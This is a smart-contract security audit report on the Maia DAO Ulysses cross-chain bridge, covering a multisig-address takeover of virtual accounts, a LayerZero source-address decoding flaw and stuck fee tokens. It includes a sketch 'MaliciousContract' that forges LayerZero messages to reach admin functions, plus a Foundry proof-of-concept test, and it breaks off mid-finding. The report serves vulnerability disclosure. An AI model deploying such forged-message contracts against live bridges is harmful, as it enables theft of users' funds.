



# Protocol Audit Report

Version 1.0

*0xStalin Hackitoor - Hacking Smart Contracts for a Living*

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# MaiaUlysses Audit Report - 0xStalin findings for C4 Contest

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## Issues Found

- **High**
  - *H-01 => If the Virtual Account's owner is a Contract Account (multisig wallet), attackers can gain control of the Virtual Accounts by gaining control of the same owner's address in a different chain*
- **Medium**
  - *M-01 => Incorrectly decoding the source address that called the LayerZero endpoint in the requiresEndpoint() modifier on the BridgeAgent contracts, instead of reading the bytes of the srcAddr, the current offset is actually reading the bytes of the destAddr*
  - *M-02 => The native token that is used to pay for the LayerZero fees will get stuck in the contracts if txs are reverted in the RootBridgeAgent contract*

- **M-03 => Depositors could lost all their deposited tokens (including the hTokens) if their address is blacklisted in one of all the deposited underlyingTokens**

- **Low**

- **L-01 => An attacker can steal all the assets deposited by the users in all the Branches**

## Disclaimer

The auditor 0xStalin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

## Executive Summary

Findings I reported on the c4 public contest for the Ulysses System of the Maia DAO protocol where I **ranked in the top2**

## High

**[H-01] If the Virtual Account's owner is a Contract Account (multisig wallet), attackers can gain control of the Virtual Accounts by gaining control of the same owner's address in a different chain**

### Impact

- Attackers can gain control of User's Virtual Accounts and steal all the assets these accounts hold in the Root environment

### Proof of Concept

- When sending signed messages from a Branch to Root, the RootBridgeAgent contract calls the `RootPort::fetchVirtualAccount()` to get the virtual account that is assigned in the Root environment to the address who initiated the call in the SrcBranch, and if that address doesn't have assigned a virtual account yet, it proceeds to create one and assign it.
- The problem is that the `fetchVirtualAccount()` function solely relies on the address of the caller in the SrcBranch, but it doesn't take into account from which Branch the call comes.

BranchBridgeAgent.sol

```
1 function callOutSignedAndBridge(  
2     ...  
3 ) external payable override lock {  
4     ...  
5     //Encode Data for cross-chain call.  
6     bytes memory payload = abi.encodePacked(  
7         _hasFallbackToggled ? bytes1(0x85) : bytes1(0x05),  
8         //@audit-info => Encodes the address of the caller in the Branch  
9         //@audit-info => This address will be used to fetch the  
10        VirtualAccount assigned to it!  
11        msg.sender,  
12        _depositNonce,  
13        _dParams.hToken,  
14        _dParams.token,  
15        _dParams.amount,  
16        _dParams.deposit,  
17        _params  
18    );  
19 }
```

## RootBridgeAgent.sol

```
1 function lzReceiveNonBlocking(
2     ...
3
4 ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress)
5     {
6     ...
7     ...
8     else if (_payload[0] == 0x04) {
9         // Parse deposit nonce
10        nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:
11                               PARAMS_TKN_START_SIGNED]));
12
13        //Check if tx has already been executed
14        if (executionState[_srcChainId][nonce] != STATUS_READY) {
15            revert AlreadyExecutedTransaction();
16        }
17
18        // @audit-info => Reads the address of the msg.sender in the
19        // BranchBridgeAgent and forwards that address to the RootPort::
20        // fetchVirtualAccount()
21        // Get User Virtual Account
22        VirtualAccount userAccount = IPort(localPortAddress).
23        fetchVirtualAccount(
24            address(uint160(bytes20(_payload[PARAMS_START:
25                                       PARAMS_START_SIGNED])))
26        );
27
28        // Toggle Router Virtual Account use for tx execution
29        IPort(localPortAddress).toggleVirtualAccountApproved(userAccount,
30            localRouterAddress);
31
32        ...
33        ...
34    }
35    ...
36    ...
37 }
```

## RootPort.sol

```
1 // @audit-info => Receives from the RootBridgeAgent contract the address
2 // of the caller in the BranchBridgeAgent contract
3 // @audit-info => Fetches the VirtualAccount assigned to the _user
4 // address regardless from what Branch the call came from
5 function fetchVirtualAccount(address _user) external override returns (
6     VirtualAccount account) {
7     account = getUserAccount[_user];
8 }
```

```
5     if (address(account) == address(0)) account = addVirtualAccount(  
6         _user);  
    }
```

Like Example, Let's suppose that a user uses a MultiSigWallet contract to deposit tokens from Avax to Root, in the RootBridgeAgent contract, the address of the MultisigWallet will be used to create a Virtual Account, and all the globalTokens that were bridged will be deposited in this Virtual Account. - Now, the problem is that the address of the MultisigWallet, might not be controlled by the same user on a different chain, For example, in Polygon, an attacker could gain control of the address of the same address of the MultisigWallet that was used to deposit tokens from Avax in the Root environment, an attacker can send a signed message from Polygon using the same address of the MultisigWallet that deposited tokens from Avax, to the Root environment, requesting to withdraw the assets that the Virtual Account is holding in the Root environment to the Polygon Branch. - When the message is processed by the Root environment, the address that will be used to obtain the Virtual Account will be the address that initiated the call in Polygon, which will be the same address of the user's MultisigWallet contract who deposited the assets from Avax, but the Root environment, when fetching the virtual account, makes no distinctions between the branches, thus, it will give access to the Virtual Account of the attacker's caller address and process the message in the Root environment. - As a result, an attacker can gain control of the Virtual Account of an account contract that was used to deposit assets from a chain into Root, by gaining control of the same address of the account contract that deposited the assets in a different chain.

As explained in detail on this **article written by Rekt**, it is possible to gain control of the same address for contract accounts in a different chain, especially for those contract accounts that are deployed using the Gnosis Safe contracts:

## Tools Used

Manual Audit & Article wrote by Rekt

## Recommended Mitigation Steps

- The recommendation is to add some logic that validates if the caller address in the Branch-BridgeAgent is a contract account or an EOA, and if it's a contract account, send a special flag as part of the crosschain message, so that the RootBridgeAgent contract can know if the caller in the SrcBranch it's a contract or an EOA.
  - If the caller is an EOA, the caller's address can be assigned as the Virtual Account owner on all the chains, for EOAs there are no problems.

After consulting with the Optimism and Safe teams, Wintermute made the assessment that the funds were potentially retrievable, and that nobody other than Wintermute could recover those funds. The assessment was also that it was a high risk retrieval that could only be attempted once and required Safe to support. Retrieval was scheduled for 7th of June. **However, the assumption that the funds can only be recoverable by Wintermute proved to be false.**

As Wintermute's Gnosis Safe on mainnet had been created back in 2020, it was deployed using an old version of the ProxyFactory contract, which includes the out-of-date `create` opcode, rather than `create2`.

With `create`, the deployed proxy address depends only on the ProxyFactory's address and nonce. This meant that the exploiter could replay deployments on Optimism (setting themselves as owner) until the nonce matched the original mainnet deployment and a matching proxy address was created.

This was eventually achieved after running batched deployments of 162 safes at a time, until the matching address was created in this transaction.

Exploiter's address, used to create the adapted ProxyFactory contract, which was funded by Tornado Cash on the 1st June.

**Figure 1:** SafeWallet Rekt Article Write Up

- But, if the caller is a Contract Account, when fetching the virtual account, forward the SrcChain, and if a Virtual Account is created, just authorize the caller address on the SrcBranch as the owner for that Virtual Account, in this way, only the contract account in the SrcBranch can access the Virtual Account in the Root environment.
  - \* Make sure to use the srcChainId to validate if the caller is an owner of the Virtual Account!

## Medium

**[M-01] Incorrectly decoding the source address that called the LayerZero endpoint in the requiresEndpoint() modifier on the BridgeAgent contracts, instead of reading the bytes of the srcAddr, the current offset is actually reading the bytes of the destAddr**

### Impact

- The impact of reading the `destAddr` instead of the `srcAddr` in the `requiresEndpoint()` modifier can be categorized in two big problems:
  1. BridgeAgents (both, Branch and Root) won't be able to process the calls that are sent from their counterparties in the different branches/chains
  2. Attackers can gain direct access to the BridgeAgent::lzReceive() by calling the LayerZero endpoint using a Fake Contract and sending any arbitrary data at will.

### Proof of Concept

Before explaining each of the two problems mentioned in the previous sections, first, let's understand how and why the issue occurs in the first place.

The Branch contracts are meant to be deployed on different chains, and the Root contracts are meant to be deployed on Arbitrum (Arbitrum is also a Branch chain at the same time) Most of the interactions with the protocol must go through the Root branch, even though the interaction was started in Mainnet or Optimism, the execution flow needs to go through the Root contracts to update the virtual balances and reflect the changes in the state of the Root Branch. - To achieve crosschain communication, the contracts are using the LayerZero crosschain message protocol, which in a few words works like this: - Branch contracts receives an user request, the branch contracts prepares the calldata that will be sent to the Root branch (Deployed in Arbitrum), the BranchBridgeAgent will call the `send()` function of the `LayerZeroEndpoint` contract that is deployed in the same chain, the `LayerZero` protocol will receive the call, validate it and will run the `lzReceive()` of the `RootBranchBridge` contract



(deployed in Arbitrum), then, the `lzReceive()` calls the `lzReceiveNonBlocking()` in the same contract, and prior to execute anything there is the `requiresEndpoint()` modifier that is in charge of validating that the caller is either the LayerZeroEndpoint contract or the BranchBridgeAgent that is deployed on Arbitrum, if the caller is not the BranchBridgeAgent and it's the LayerZeroEndpoint, then it proceeds to validate that the address that actually sent the message to LayerZero (from the `srcAddress`) is the BranchBridgeAgent contract of the SourceChain, and if that check passes, then the modifier will allow the `lzReceiveNonBlocking()` to be executed, otherwise, the tx will be reverted.

Apparently, everything is fine, but, **there is a problem, a very well-hidden problem**, the address that is used to validate if the caller that sent the message to LayerZero is extracted from the last 20 bytes of the `_srcAddress` parameter, and the first 20 bytes are ignored. - To understand why reading the last 20 bytes instead of the first 20 bytes it's a problem, it is required to take a look at how LayerZero encodes that data, that's why we are gonna take a look at the contracts of the LayerZero. - The execution flow in the LayerZero contracts look like this: `Endpoint::send() => UltraLightNodeV2::send() => UltraLightNodeV2::validateTransactionProof() => Endpoint::receivePayload() => ILayerZeroReceiver(_dstAddress).lzReceive()` - As for this report we are mostly interested in the interaction from the `UltraLightNodeV2::validateTransactionProof() => Endpoint::receivePayload() => ILayerZeroReceiver(_dstAddress).lzReceive()` - By looking at the `UltraLightNodeV2::validateTransactionProof()` function we can see that **the `srcAddress` (The one that called the Endpoint) is encoded in the first 20 bytes of the pathData, and the `dstAddress` (The contract that will receive the message) is encoded in the last 20 bytes.**

```

1      function validateTransactionProof(uint16 _srcChainId, address
      _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32
      _blockData, bytes calldata _transactionProof) external override
      {
2          ...
3
4          //@audit-info => pathData will be sent to `endpoint:
              receivePayload` and there will be received as the
              _srcAddress, and that exact same value is forwarded to the
              DestinationContract::lzReceive()
5          bytes memory pathData = abi.encodePacked(_packet.srcAddress,
              _packet.dstAddress);
6          emit PacketReceived(_packet.srcChainId, _packet.srcAddress,
              _packet.dstAddress, _packet.nonce, keccak256(_packet.payload
              ));
7          endpoint.receivePayload(_srcChainId, pathData, _dstAddress,
              _packet.nonce, _gasLimit, _packet.payload);
8      }

```

```

1      function receivePayload(uint16 _srcChainId, bytes calldata

```

```

_srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit,
bytes calldata _payload) external override receiveNonReentrant
{
2   ...
3
4   //@audit-info => In the `Endpoint::receivePayload()`, the
      pathData from the `UltraLightNodeV2::
      validateTransactionProof()` is received as the _srcAddress
      parameter, which is then forwarded as it is to the `
      DestinationContract.lzReceive()`
5   try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(
      _srcChainId, _srcAddress, _nonce, _payload) {
6       // success, do nothing, end of the message delivery
7   } catch (bytes memory reason) {
8       ...
9   }
10  }

```

- In the case of the contracts for the Ulysses system, the DestinationContract in the LayerZero will be a BridgeAgent, this means that the value of the `_srcAddress` parameter that is received in the BridgeAgent::lzReceive() will be encoded exactly how the `UltraLightNodeV2::validateTransactionProof()` encoded it, **the first 20 bytes containing the srcAddress (The one that called the Endpoint), and the last 20 bytes the dstAddress (The contract that will receive the message)**

- So, when the `BridgeAgent::lzReceive()` function receives the call from LayerZero and it calls the `lzReceiveNonBlocking()` it will call the modifier `requiresEndpoint()` to validate that the caller is the LayerZeroEndpoint or the LocalBranchBridgeAgent, and if the LayerZeroEndpoint is the caller, it must validate that the address that sent the message is, in reality, the BranchBridgeAgent of the SourceChain.

\* `RootBridgeAgent::lzReceive() => RootBridgeAgent::lzReceiveNonBlocking()`  
`() => RootBridgeAgent::requiresEndpoint()`

```

1  function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress,
      uint64, bytes calldata _payload) public {
2      (bool success,) = address(this).excessivelySafeCall(
3          gasleft(),
4          150,
5          //@audit-info => lzReceive() forwards the _srcAddress parameter
              as it is received from the LayerZeroEndpoint
6          //@audit-info => As shown before, the UltraLightNodeV2 library
              encodes in the first 20 bytes the srcAddress and in the last
              20 bytes the destinationAddress
7          abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.
              sender, _srcChainId, _srcAddress, _payload)
8      );
9

```

```

10     if (!success) if (msg.sender == getBranchBridgeAgent[localChainId])
        revert ExecutionFailure();
11 }
12
13 ```solidity
14 function lzReceiveNonBlocking(
15     //@audit-info => The _endpoint is the msg.sender of the
        lzReceive()
16     address _endpoint,
17     uint16 _srcChainId,
18     bytes calldata _srcAddress,
19     bytes calldata _payload
20     //@audit-info => _endpoint can only be the
        LocalBranchBridgeAgent or the LayerZero Endpoint!
21     //@audit-info => _srcAddress is encoded exactly as how the
        UltraLightNodeV2 library encoded it
22     //@audit-info => in the first 20 bytes the srcAddress and
        in the last 20 bytes the destinationAddress
23 ) public override requiresEndpoint(_endpoint, _srcChainId,
        _srcAddress) {
24     ...
25 }

```

- As we can see, the `requiresEndpoint()` modifier reads from the `_srcAddress` parameter, **the offset being read is from the `PARAMS_ADDRESS_SIZE`, which its value is 20, to the last byte, that means, the offset being read is from the byte 20 to the byte 40, that means, it is reading the bytes corresponding to the DestinationAddress, instead of the reading the bytes corresponding to the SourceAddress**

```

1 modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes
    calldata _srcAddress) virtual {
2     if (msg.sender != address(this)) revert
        LayerZeroUnauthorizedEndpoint();
3
4     //@audit-info => _endpoint can be the LocalBranchBridgeAgent (The
        BranchBridgeAgent deployed in Arbitrum!)
5     if (_endpoint != getBranchBridgeAgent[localChainId]) {
6         //@audit-info => If _endpoint is not the LocalBranchBridgeAgent
            , it can only be the LayerZero Endpoint!
7         if (_endpoint != lzEndpointAddress) revert
            LayerZeroUnauthorizedEndpoint();
8
9         if (_srcAddress.length != 40) revert
            LayerZeroUnauthorizedCaller();
10
11         //@audit-info => Checks if the `_srcAddress` is the
            BranchBridgeAgent of the sourceChain!
12         if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(
            _srcAddress[PARAMS_ADDRESS_SIZE:])))) {

```

```
13         revert LayerZeroUnauthorizedCaller();
14     }
15 }
16 _;
17 }
```

- At this point we've already covered why the problem exists in the first place, to summarize all of the above, **the problem is that the `requiresEndpoint()` in the BridgeAgent contracts is reading an incorrect offset to validate if the caller of the message that was sent to the LayerZero is a valid BranchBridgeAgent, instead of reading the offset corresponding to the `srcAddress` (The caller) [The first 20 bytes], it is reading the offset corresponding to the `dstAddress` (The destination) [The last 20 bytes]**
  - Now, it is time to explain how this problem/bug/vulnerability can cause problems to the protocol, as I mentioned in the beginning, this problem can cause two major problems:
1. BridgeAgents (both, Branch and Root) won't be able to process the calls that are sent from their counterparties in the different branches/chains:
    - The BridgeAgents won't be able to process the calls because of the condition in the `requiresEndpoint()` modifier that validates if the `srcAddress` (The Caller) who sent the message to the LayerZero is the BridgeAgent of the Source Chain, the bytes that are being read corresponds to the Destination, instead of the Source, that means, the address that will be used to validate the caller it will be the address of the Destination Contract (This address is really the same address of the contract where the check is being executed), instead of the address of the actual caller, this will cause the tx to be reverted and never executed (To demonstrate this first point I coded a PoC)

```
1 modifier requiresEndpoint(address _endpoint, uint16 _srcChain,
2     bytes calldata _srcAddress) virtual {
3     ...
4     ...
5     //@audit-info => Check if the `_srcAddress` is the
6         BranchBridgeAgent of the sourceChain!
7     //@audit-info => Currently is reading the last 20 bytes,
8         those bytes corresponds to the Destination Address of
9         the message, which is the address of the contract
10        where the execution is currently running.
11    //@audit-info => requiresEndpoint() compares if the
12        sourceAddress is different than the BranchBridgeAgent
13        of the Source Chain, and because the address being
14        read is the Destination instead of the Source, this
15        check will always revert for calls between
16        BridgeAgents!
```

```

8         if (getBranchBridgeAgent[_srcChain] != address(uint160(
9             bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:]))) {
10             revert LayerZeroUnauthorizedCaller();
11         }
12         ...
13     }

```

2. Attackers can gain direct access to the BridgeAgent::lzReceive() by calling the LayerZero endpoint using a Fake Contract and sending any arbitrary data at will. Same logic as in Point 1, but this time an attacker can exploit the vulnerability that the only check to verify the authenticity of the caller of the LayerZeroEndpoint is wrong, the modifier is currently ignoring who was the caller of the message that is received from the LayerZeroEndpoint, this opens the doors for attacker to create Malicious contracts to send arbitrary data through a message call using the LayerZeroEndpoint and gain access to all the functionalities of the `lzReceiveNonBlocking()` function.

- For this scenario, I was unable to code a PoC because it would've been necessary to modify all the setUp of the testing suite
- An idea of a Malicious Contract could be something like this one, it is preparing the calldata as the BridgeAgent expects, but this allows to set all the values at will, and this also gives access to Admin functionalities to the attackers

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.0;
3
4 import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol";
5
6 import {
7     GasParams
8 } from "./interfaces/IRootBridgeAgent.sol";
9
10 interface ICoreRootRouter {
11     function bridgeAgentAddress() external view returns (address);
12 }
13
14 interface IBridgeAgent {
15     function getBranchBridgeAgentPath(uint256 chainId) external view
16         returns (bytes memory);
17     function lzEndpointAddress() external view returns (address);
18 }
19 contract MaliciousContract {
20
21     uint32 settlementNonce = 1;
22     bytes destinationPath;
23     address lzEndpointAddress;
24
25     function setDestinationPath(address CoreRootRouter, uint256

```

```

    dstChainId) public {
26     address bridgeAgentAddress = ICoreRootRouter(CoreRootRouter).
        bridgeAgentAddress();
27     destinationPath = IBridgeAgent(bridgeAgentAddress).
        getBranchBridgeAgentPath(dstChainId);
28     lzEndpointAddress = IBridgeAgent(bridgeAgentAddress).
        lzEndpointAddress();
29 }
30
31 function hijackedPortStrategy(
32     address _portStrategy,
33     address _underlyingToken,
34     uint256 _dailyManagementLimit,
35     bool _isUpdateDailyLimit,
36     address _refundee,
37     uint16 _dstChainId,
38     GasParams calldata _gParams,
39     address CoreRootRouter
40 ) external payable {
41     // Encode CallData
42     bytes memory params = abi.encode(_portStrategy, _underlyingToken,
        _dailyManagementLimit, _isUpdateDailyLimit);
43
44     // Pack funcId into data
45     bytes memory _payload = abi.encodePacked(bytes1(0x06), params);
46
47     //Encode Data for call.
48     bytes memory payload = abi.encodePacked(bytes1(0x00), _refundee,
        settlementNonce++, _payload);
49
50     setDestinationPath(CoreRootRouter, _dstChainId);
51
52     _performCall(_dstChainId, payable(_refundee), payload, _gParams,
        lzEndpointAddress);
53 }
54
55 function _performCall(
56     uint16 _dstChainId,
57     address payable _refundee,
58     bytes memory _payload,
59     GasParams calldata _gParams,
60     address lzEndpointAddress
61 ) internal {
62
63     ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
64         _dstChainId,
65         // getBranchBridgeAgentPath[_dstChainId],
66         destinationPath,
67         _payload,
68         _refundee,
69         address(0),

```

```
70         // abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.  
71         remoteBranchExecutionGas, callee)  
72         abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.  
73         remoteBranchExecutionGas, destinationPath)  
74     );  
75 }  
76 }
```

## Coded a Poc

- To reproduce the PoC for the first scenario is necessary to make a couple of changes, the first change needs to be done in the `LzForkTest.t.sol` test file, it's required to update the order in which the `executePacket()` function orders the `srcAddress` and `destAddress`, line 466.

```
1     function executePacket(Packet memory packet) public {  
2         ...  
3         ILayerZeroEndpoint(receivingEndpoint).receivePayload(  
4             packet.originLzChainId,  
5 -         // abi.encodePacked(packet.destinationUA, packet.originUA),  
6 +         //original, wrong => encoding destAddress in the first 20 bytes and  
7         srcAddr in the last 20 bytes (Inversed order as per the  
8         UltraLightNodeV2 library)  
9         abi.encodePacked(packet.originUA, packet.destinationUA), //  
10        fixed, correct => Encoding srcAddr in the first 20 bytes and  
11        destAddr in the last 20 bytes, (Exact order as per the  
12        UltraLightNodeV2 library)  
13        packet.destinationUA,  
14        packet.nonce,  
15        gasLimit,  
16        packet.payload  
17    );  
18 }
```

- Now, we can use the `RootForkTest.t.sol` test file to add the below test:

```
1     function testWrongDecodingPoC() public {  
2         // Add strategy token  
3         testAddStrategyToken();  
4  
5         // Deploy Mock Strategy  
6         switchToLzChainWithoutExecutePendingOrPacketUpdate(ftmChainId);  
7         mockFtmPortStrategyAddress = address(new MockPortStartegy());  
8         switchToLzChainWithoutExecutePendingOrPacketUpdate(rootChainId);  
9  
10        // Get some gas  
11        vm.deal(address(this), 1 ether);
```

```

12
13     coreRootRouter.managePortStrategy{value: 1 ether}{
14         mockFtmPortStrategyAddress,
15         address(mockFtmPortToken),
16         250 ether,
17         false,
18         address(this),
19         ftmChainId,
20         GasParams(300_000, 0)
21     };
22
23     // Switch Chain and Execute Incoming Packets
24     switchToLzChain(ftmChainId);
25
26     require(ftmPort.isPortStrategy(mockFtmPortStrategyAddress, address(
27         mockFtmPortToken)), "Should be added");
28
29     // Switch Chain and Execute Incoming Packets
30     switchToLzChainWithoutExecutePendingOrPacketUpdate(rootChainId);
31 }

```

- Run the test with the following command (At this point don't make any other changes to the rest of the files, this first test is expected to fail because the requiresEndpoint() will revert the tx due to the problem described on this report, after running this test we will apply the fix to the requiresEndpoint() modifier and we'll re-run the test to verify that everything is working as expected!) > forge test -mc RootForkTest -match-test testWrongDecodingPoC -vvvv
- Expected output after running the first test:

```

1  03], 0x), ([0
    x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0, 0
    x00000000000000000000000000000000bb2180ebd78ce97360503434ed37fcf4a1df61c3, 0
    x0000000000000000000000000000000000000000000000000000000000000000],
    0x)]
2  > [0] console::log(Events caught:, 5) [staticcall]
3  >      ()
4  > [0] VM::resumeGasMetering()
5  >      ()
6  > [501] BranchPort::bridgeAgents(1) [staticcall]
7  >      "EvmError: Revert"
8  >      "EvmError: Revert"
9
10 Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.13s
11
12 Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
13
14 Failing tests:
15 Encountered 1 failing test in test/ulysses-omnichain/RootForkTest.t.sol
    :RootForkTest

```



```
16 [FAIL. Reason: Setup failed: EvmError: Revert] setUp() (gas: 0)
17
18 Encountered a total of 1 failing tests, 0 tests succeeded
```

- Now, let's apply the fix to the `requiresEndpoint()`, instead of reading the last 20 bytes, let's update it so that it correctly reads the first 20 bytes (The offset where `srcAddress` is encoded as per the `UltraLightNodeV2` library)

- Make sure to **apply this fix to the RootBridgeAgent and the BranchBridgeAgent contracts** “solidity modifier requiresEndpoint(address \_endpoint, uint16 \_srcChain, bytes calldata \_srcAddress) virtual { ...

```
1 // @audit-info => The correct offset of the srcAddr is in the
   first 20 bytes!
```

```
1 // if (getBranchBridgeAgent[_srcChain] != address(uint160(
    bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:]))) {
```

```
1      if (getBranchBridgeAgent[_srcChain] != address(uint160(
    bytes20(_srcAddress[0 : PARAMS_ADDRESS_SIZE]))) {
```

“““

- After applying the changes to the `requiresEndpoint()` modifier, re-run the test using the same command and check the output to verify that everything is working as expected

```

1  > [128424] 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7::
    receivePayload(110, 0
    xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddb0cf80caed4effc308ba50a20
    , BranchBridgeAgent: [0x2Aa5aE54DdbC0F80caED4efFC308ba50A20E86e3
    ], 3, 300000 [3e5], 0
    x00bb2180ebd78ce97360503434ed37fcf4a1df61c3000000050600000000000000000000000000
    )
2  | > [125185] BranchBridgeAgent::lzReceive(110, 0
    xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddb0cf80caed4effc308ba50a20
    , 3, 0
    x00bb2180ebd78ce97360503434ed37fcf4a1df61c3000000050600000000000000000000000000
    )
3  | | > [123206] BranchBridgeAgent::lzReceiveNonBlocking(0
    xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7, 0
    xcb3b263f002b8888f712ba46ebf1302e1294608c2aa5ae54ddb0cf80caed4effc308ba50a20
    , 0
    x00bb2180ebd78ce97360503434ed37fcf4a1df61c3000000050600000000000000000000000000
    )
4  | | | > [96551] BranchBridgeAgentExecutor::
    executeNoSettlement(CoreBranchRouter: [0
    x315023AA8fd423494967Fe294D05BD4B01169A6e], 0

```

```

x00bb2180ebd78ce97360503434ed37fcf4a1ddf61c3000000005060000000000000000000000000
)
5 | | | | | > [95108] CoreBranchRouter::executeNoSettlement(0
x0600000000000000000000000000000000000000000000000000000000000000000000000000
)
6 | | | | | > [2795] BranchPort::isPortStrategy(
MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638],
MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864]) [
staticcall]
7 | | | | | | > false
8 | | | | | | > [89529] BranchPort::addPortStrategy(
MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638],
MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864],
2500000000000000000000000000 [2.5e20])
9 | | | | | | > emit PortStrategyAdded(_portStrategy:
MockPortStartegy: [0xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638],
_token: MockERC20: [0x6dae6e4368ce05B6D6aD22876d3372aB54286864],
_dailyManagementLimit: 2500000000000000000000 [2.5e20])
10 | | | | | | > ()
11 | | | | | | > ()
12 | | | | | | > ()
13 | | | | | > emit LogExecute(nonce: 5)
14 | | | | | > ()
15 | | | | | > ()
16 | | | | | > ()
17 > [795] BranchPort::isPortStrategy(MockPortStartegy: [0
xa4c93Df56036Aa1a74a40Ccd353438FA5Eed8638], MockERC20: [0
x6dae6e4368ce05B6D6aD22876d3372aB54286864]) [staticcall]
18 | > true
19 > [0] VM::selectFork(1)
20 | > ()
21 > ()
22
23 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.50s
24
25 Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

```

## Tools Used

Manual Audit &amp; LayerZeroEndpoint Message Library

### Recommended Mitigation Steps

- The recommendation is to update the offset that is read from the `_srcAddress` parameter in the `requiresEndpoint()` modifier for the `RootBridgeAgent` and the `BranchBridgeAgent` contracts, instead of reading the last 20 bytes, **make sure to read the first 20 bytes, in this way**,

***the contracts will be able to decode the data correctly as how it is sent from the LayerZeroEndpoint.***

```
1 modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes
  calldata _srcAddress) virtual {
2     ...
3
4     //@audit-info => The correct offset of the srcAddr is in the first
      20 bytes!
5 - // if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(
      _srcAddress[PARAMS_ADDRESS_SIZE:]))) {
6 + if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(
      _srcAddress[0 : PARAMS_ADDRESS_SIZE:]))) {
7
8     ...
```

## **[M-02] The native token that is used to pay for the LayerZero fees will get stuck in the contracts if txs are reverted in the RootBridgeAgent contract**

### **Impact**

- Users won't get back the native token they paid to execute cross-chain txs if the txs are reverted in the RootBridgeAgent contract.

### **Proof of Concept**

When txs execution fails in the RootBridgeAgent contract, the current implementation in the RootBridgeAgent contract is to revert the tx (if a fallback was not set) that is initiated by the LayerZeroEndpoint contract in the Root environment (Arbitrum). - If the tx is initiated by the LayerZeroEndpoint contract and is reverted in the RootBridgeAgent contract (and fallback was not defined), **the native token will be sent back to the LayerZeroEndpoint contract and will be left there, it is not refunded to the refundee user.** - The execution flow in the RootBridgeAgent contract goes from the `lzReceive()` function to the `lzReceiveNonBlocking()` function to the `_execute()` function where if the tx fails and no fallback is set, the whole tx will be reverted if the call to the BridgeAgentExecutor contract fails.

Let's do a walkthrough the code of the `LayerZeroEndpoint` contract to visualize what happens to the txs when they fail. > Endpoint.sol (LayerZero contract)

```
1     function receivePayload(uint16 _srcChainId, bytes calldata
      _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit,
      bytes calldata _payload) external override receiveNonReentrant
      {
```

```

2      ...
3
4      // @audit-info => LayerZeroEndpoint contract sends the specified
      _gasLimit to the dstContract (RootBridgeAgent contract)
5      try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(
      _srcChainId, _srcAddress, _nonce, _payload) {
6          // success, do nothing, end of the message delivery
7      } catch (bytes memory reason) {
8          // @audit-info => If the execution of the lzReceive()
          function in the dstContract fails, the Endpoint contract
          doesn't refund the native tokens to the refundee
          address
9          // revert nonce if any uncaught errors/exceptions if the ua
          chooses the blocking mode
10         storedPayload[_srcChainId][_srcAddress] = StoredPayload(
            uint64(_payload.length), _dstAddress, keccak256(_payload
            ));
11         emit PayloadStored(_srcChainId, _srcAddress, _dstAddress,
            _nonce, _payload, reason);
12     }
13 }

```

Let's now visualize the `_execute()` functions in the RootBridgeAgent contract

```

1  function _execute(uint256 _depositNonce, bytes memory _calldata,
      uint16 _srcChainId) private {
2      // Update tx state as executed
3      executionState[_srcChainId][_depositNonce] = STATUS_DONE;
4
5      // Try to execute the remote request
6      (bool success,) = bridgeAgentExecutorAddress.call{value: address(
          this).balance}(_calldata);
7
8      // @audit-info => If execution fails in the
          RootBridgeAgentExecutor contract, the whole tx is reverted,
          thus, the native token is sent back to the LayerZeroEndpoint
          contract, but it is not sent back to the refundee address
9      // No fallback is requested revert allowing for retry.
10     if (!success) revert ExecutionFailure();
11 }

```

```

1  function _execute(
2      bool _hasFallbackToggled,
3      uint32 _depositNonce,
4      address _refundee,
5      bytes memory _calldata,
6      uint16 _srcChainId
7  ) private {
8      // Update tx state as executed
9      executionState[_srcChainId][_depositNonce] = STATUS_DONE;
10 }

```

```
11 //Try to execute the remote request
12 (bool success,) = bridgeAgentExecutorAddress.call{value: address(
    this).balance}(_calldata);
13
14 //Update tx state if execution failed
15 if (!success) {
16     //Read the fallback flag.
17     if (_hasFallbackToggled) {
18         // Update tx state as retrieve only
19         executionState[_srcChainId][_depositNonce] =
            STATUS_RETRIEVE;
20         // Perform the fallback call
21         _performFallbackCall(payable(_refundee), _depositNonce,
            _srcChainId);
22     } else {
23         // @audit-info => If execution fails in the
